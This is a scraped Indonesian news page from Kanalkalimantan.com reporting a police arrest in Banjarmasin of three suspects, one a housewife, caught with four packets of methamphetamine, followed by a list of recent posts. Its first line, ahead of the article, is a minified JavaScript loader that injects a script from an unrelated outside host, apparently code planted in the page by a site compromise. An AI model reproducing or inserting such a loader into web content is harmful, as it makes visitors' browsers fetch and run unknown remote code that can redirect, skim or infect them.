(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Ibu Rumah Tangga Bersama Dua Lelaki di Banjarmasin Ditangkap Gegara 4 Paket Sabu


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Banjarmasin Barat kembali mengungkap kasus penggunaan narkotika di wilayah hukum Kota Seribu Sungai.

Hasil penangkapan, polisi mengamakan tiga tersangka yang menyimpan empat paket sabu dengan berat bersih 2,35 gram.

Ketiga tersangka yang berhasil diamankan antara lain F (43) dan J (32) seorang ibu rumah tangga, warga jalan Tembus Mantuil gang Gandapura, Kelurahan Basirih Selatan, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

Kemudian A (37) warga jalan Kelayan B Teluk Kubur Gang Panggang, Kelurahan Tanjung Pagar, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

Baca juga:Kisah Nenek Salami, Calon Haji Minta Pulang saat Mau Berangkat ke Tanah Suci

Dikatakan Kapolsek Banjarmasin Barat melalui Kanit Reskrim Iptu Firuza Bahri, pihaknya menerima laporan di jalan Tembus Mantuil Gang Gandapura, Kelurahan Basirih, terjadi transaksi narkoba jenis sabu.

“Kemudian dilakukan Lidik dari informasi tersebut, saat diyakini pelaku berada di rumah kemudian langsung dilakukan penggeledahan dan ditemukan barang bukti di dalam kamar,” katanya, Rabu (7/6/2023) malam.

Dari tangan ketiga pelaku diamankan barang bukti berupa 4 paket sabu berat bersih 2,35 gram, 1 buah dompet warna cream, 1 buah kotak kecil warna hitam, 2 buah pipet kaca, 1 buah serokan dari sedotan plastik, 1 pak plastik klip, 1 buah timbangan digital warna hitam.

“Kemudian barang bukti uang Rp 500 ribu diduga hasil transaksi narkoba,” jelasnya.

Baca juga: Berkomplot Curi Puluhan Tiang Internet, Tiga Lelaki Bareng Masuk Bui

Pelaku dan barang bukti kemudian diamankan ke Poslek Banjarmasin Barat untuk dilakukan proses hukum lebih lanjut.

Atas perbuatannya, ketiga tersangka diancam dengan Pasal 112 Ayat (1) Undang-undang Nomor 35 Tahun 2009 tentang Narkotika. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

3 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

5 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

8 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

9 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

10 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

12 jam ago

This website uses cookies.